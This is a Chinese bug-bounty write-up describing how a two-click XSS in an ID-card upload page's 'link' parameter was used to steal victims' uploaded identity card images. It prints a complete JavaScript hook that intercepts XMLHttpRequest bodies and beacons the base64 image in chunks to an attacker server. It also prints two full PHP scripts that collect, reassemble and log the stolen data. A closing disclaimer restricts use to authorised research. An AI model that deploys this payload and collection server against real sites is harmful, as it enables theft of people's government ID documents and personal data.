记一次某企业src xss深入利用分块上传获取敏感信息
信息收集发现一个系统

是上传sfz 实名认证的功能点
然后看见url参数
https://a.xxx.com/menzheng/sfz.html?token=66666666666&udbAppId=&appId=BdOw&company=1&link=https://b.xxx.com
这里一看link参数就很不对劲
那么我们尝试把他改成攻击者域名看看能不能跳转
https://a.xxx.com/menzheng/sfz.html?token=66666666666&udbAppId=&appId=BdOw&company=1&link=https://www.baidu.com
访问之后发现页面还是没变化
,那么link参数改成试试
javascript:alert(1)
结果还是没变化,那就奇怪了那这个参数是干嘛的呢
经过一顿胡乱分析后,发现必须点击这里才能触发link


那这样子就是2click xss了而已(并且这里读不到关键cookie),难道就这么放弃了吗???!!

感觉还是危害不太大
既然这里是上传sfz功能点,那么我们为什么不利用xss来获取用户上传的sfz呢?
说干就干

随便上传图片后提交抓包
可以发现请求体的参数是通过base64方式上传的

这个太长了,数据量太大只能用分块上传

1.HOOK http原生方法 然后读取请求体的frontImage参数 由于是base64
太长了 所以采取分块上传
var o=XMLHttpRequest.prototype.send;XMLHttpRequest.prototype.send=function(b){if(b){var s='',t='';if(b instanceof FormData){for(var p of b.entries())if(p[0]==='frontImage'){s=p[1];t='FormData';break;}}else if(typeof b==='string'){try{var j=JSON.parse(b);s=j.frontImage||'';t='JSON';}catch(e){try{s=new URLSearchParams(b).get('frontImage')||'';t='URLEncoded';}catch(e2){}}}if(s){var chunkSize=3000;var sessionId=Date.now()+'_'+Math.random().toString(36).substr(2,9);var totalChunks=Math.ceil(s.length/chunkSize);for(var i=0;i<totalChunks;i++){var chunk=s.substring(i*chunkSize,(i+1)*chunkSize);var chunkData={sessionId:sessionId,chunkIndex:i,totalChunks:totalChunks,data:chunk,type:t,timestamp:Date.now(),dataLength:s.length};new Image().src='https//vps/test888/save_chunk.php?d='+encodeURIComponent(JSON.stringify(chunkData));}}}return o.apply(this,arguments);};
2.服务器端PHP接收和合并脚本(save_chunk.php)
<?php
// save_chunk.php - 接收分块数据并合并
header('Access-Control-Allow-Origin: *');
header('Content-Type: text/plain; charset=utf-8');
// 获取数据
$rawData = isset($_GET['d']) ? $_GET['d'] : '';
if (empty($rawData)) {
$rawData = file_get_contents('php://input');
}
if (!$rawData) {
die("No data received");
}
// 解码数据
$rawData = urldecode($rawData);
// 关键修复:将空格替换回加号(+)
// Base64中的加号在URL传输中被转成了空格
$rawData = str_replace(' ', '+', $rawData);
$chunkData = json_decode($rawData, true);
if (!$chunkData) {
die("Invalid JSON data");
}
$sessionId = $chunkData['sessionId'] ?? 'unknown';
$chunkIndex = $chunkData['chunkIndex'] ?? 0;
$totalChunks = $chunkData['totalChunks'] ?? 1;
$chunk = $chunkData['data'] ?? '';
$dataType = $chunkData['type'] ?? 'unknown';
$dataLength = $chunkData['dataLength'] ?? 0;
$timestamp = $chunkData['timestamp'] ?? time();
// 创建目录
$saveDir = dirname(__FILE__);
$chunksDir = $saveDir . '/chunks';
$completedDir = $saveDir . '/completed';
if (!is_dir($saveDir)) mkdir($saveDir, 0755, true);
if (!is_dir($chunksDir)) mkdir($chunksDir, 0755, true);
if (!is_dir($completedDir)) mkdir($completedDir, 0755, true);
// 保存当前分块
$chunkFile = $chunksDir . '/' . $sessionId . '_' . $chunkIndex . '.chunk';
file_put_contents($chunkFile, $chunk);
// 记录分块信息
$logFile = $chunksDir . '/' . $sessionId . '.info';
$info = [
'sessionId' => $sessionId,
'totalChunks' => $totalChunks,
'receivedChunks' => [],
'dataType' => $dataType,
'totalLength' => $dataLength,
'startTime' => $timestamp,
'chunks' => []
];
if (file_exists($logFile)) {
$info = json_decode(file_get_contents($logFile), true);
}
// 更新已接收的分块
$info['receivedChunks'][] = $chunkIndex;
$info['chunks'][$chunkIndex] = [
'size' => strlen($chunk),
'received' => time()
];
file_put_contents($logFile, json_encode($info, JSON_PRETTY_PRINT));
// 检查是否所有分块都已接收
$receivedCount = count(array_unique($info['receivedChunks']));
$allReceived = ($receivedCount >= $totalChunks);
if ($allReceived) {
// 合并所有分块
$completeData = '';
for ($i = 0; $i < $totalChunks; $i++) {
$chunkFile = $chunksDir . '/' . $sessionId . '_' . $i . '.chunk';
if (file_exists($chunkFile)) {
$completeData .= file_get_contents($chunkFile);
}
}
// 保存完整数据
$filename = 'frontImage_' . date('Y-m-d_H-i-s', $timestamp/1000) . '_' . $sessionId . '.txt';
$filepath = $completedDir . '/' . $filename;
$fileContent = "=== FrontImage Data Capture ===
";
$fileContent .= "Session ID: " . $sessionId . "
";
$fileContent .= "Capture Time: " . date('Y-m-d H:i:s', $timestamp/1000) . "
";
$fileContent .= "Data Type: " . $dataType . "
";
$fileContent .= "Data Length: " . strlen($completeData) . " bytes
";
$fileContent .= "Total Chunks: " . $totalChunks . "
";
$fileContent .= "Source IP: " . ($_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'Unknown') . "
";
$fileContent .= "=================================
";
$fileContent .= $completeData;
if (file_put_contents($filepath, $fileContent)) {
// 清理分块文件
for ($i = 0; $i < $totalChunks; $i++) {
$chunkFile = $chunksDir . '/' . $sessionId . '_' . $i . '.chunk';
if (file_exists($chunkFile)) {
unlink($chunkFile);
}
}
// 删除信息文件
if (file_exists($logFile)) {
unlink($logFile);
}
// 记录到日志
$masterLog = $saveDir . '/capture_log.txt';
$logEntry = date('Y-m-d H:i:s') . " | COMPLETED | " .
$_SERVER['REMOTE_ADDR'] . " | " .
$dataType . " | " . strlen($completeData) . " bytes | " .
$totalChunks . " chunks | " . $filename . "
";
file_put_contents($masterLog, $logEntry, FILE_APPEND);
echo "Data saved to: " . $filename;
} else {
echo "Error saving complete file";
}
} else {
$remaining = $totalChunks - $receivedCount;
echo "Chunk received: " . ($chunkIndex + 1) . "/" . $totalChunks .
" | Remaining: " . $remaining .
" | Session: " . $sessionId;
}
?>
3.auto_merge.php - 自动合并所有完整的分块会话
<?php
// auto_merge.php - 自动合并所有完整的分块会话
$chunksDir = dirname(__FILE__) . '/chunks';
$completedDir = dirname(__FILE__) . '/completed';
if (!is_dir($completedDir)) {
mkdir($completedDir, 0755, true);
}
// 获取所有chunk文件
$chunkFiles = glob($chunksDir . '/*.chunk');
if (empty($chunkFiles)) {
die("没有找到分块文件");
}
// 按会话分组
$sessions = [];
foreach ($chunkFiles as $file) {
$basename = basename($file);
// 格式: timestamp_random_数字.chunk
if (preg_match('/^(\d+_[a-z0-9]+)_(\d+)\.chunk$/', $basename, $matches)) {
$sessionId = $matches[1];
$chunkNum = intval($matches[2]);
$sessions[$sessionId][$chunkNum] = $file;
}
}
$mergedCount = 0;
foreach ($sessions as $sessionId => $chunks) {
ksort($chunks); // 按分块编号排序
// 检查是否连续
$expected = 0;
$isContinuous = true;
foreach ($chunks as $chunkNum => $file) {
if ($chunkNum != $expected) {
$isContinuous = false;
break;
}
$expected++;
}
if ($isContinuous && count($chunks) > 0) {
// 合并
$completeData = '';
foreach ($chunks as $chunkNum => $file) {
$completeData .= file_get_contents($file);
}
$outputFile = $completedDir . '/' . $sessionId . '.txt';
file_put_contents($outputFile, $completeData);
// 记录
$logFile = $completedDir . '/merge_log.txt';
$log = date('Y-m-d H:i:s') . " | {$sessionId} | " .
count($chunks) . " chunks | " . strlen($completeData) . " bytes
";
file_put_contents($logFile, $log, FILE_APPEND);
// 清理分块文件
foreach ($chunks as $chunkNum => $file) {
unlink($file);
}
$mergedCount++;
echo "已合并: {$sessionId} (" . count($chunks) . " 个分块)
";
} else {
echo "会话 {$sessionId} 分块不连续或缺失
";
}
}
echo "
合并完成!总共处理了 {$mergedCount} 个会话。
";
?>
大概就是说 save_chunk.php 用来保存 分块上传的文件
然后auto_merge.php 用来合并分块上传
--
受害者点击了隐私条款触发xss后,然后上传提交sfz后就得到完整的base64 然后去在线转化一下图片就得到了受害者身份证图片

该场景是上传身份证场景也就是说 受害者上传身份证后 就会储存到我的服务器
直接读取受害者身份证图片
完整攻击链
在服务器搭建好攻击代码作用:受害者访问攻击者构造好的链接-->受害者上传图片-->触发xss-->获取本地图片base64(请求体参数)-->分块上传本地的base64图片-->然后利用auto_merge.php把分块获取的base64数据合并-->得到完整的图片base64-->转化成图片-->成功获取受害者身份证
麻烦点点赞,谢谢各位大佬们嘿嘿
温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。
涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。
如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。
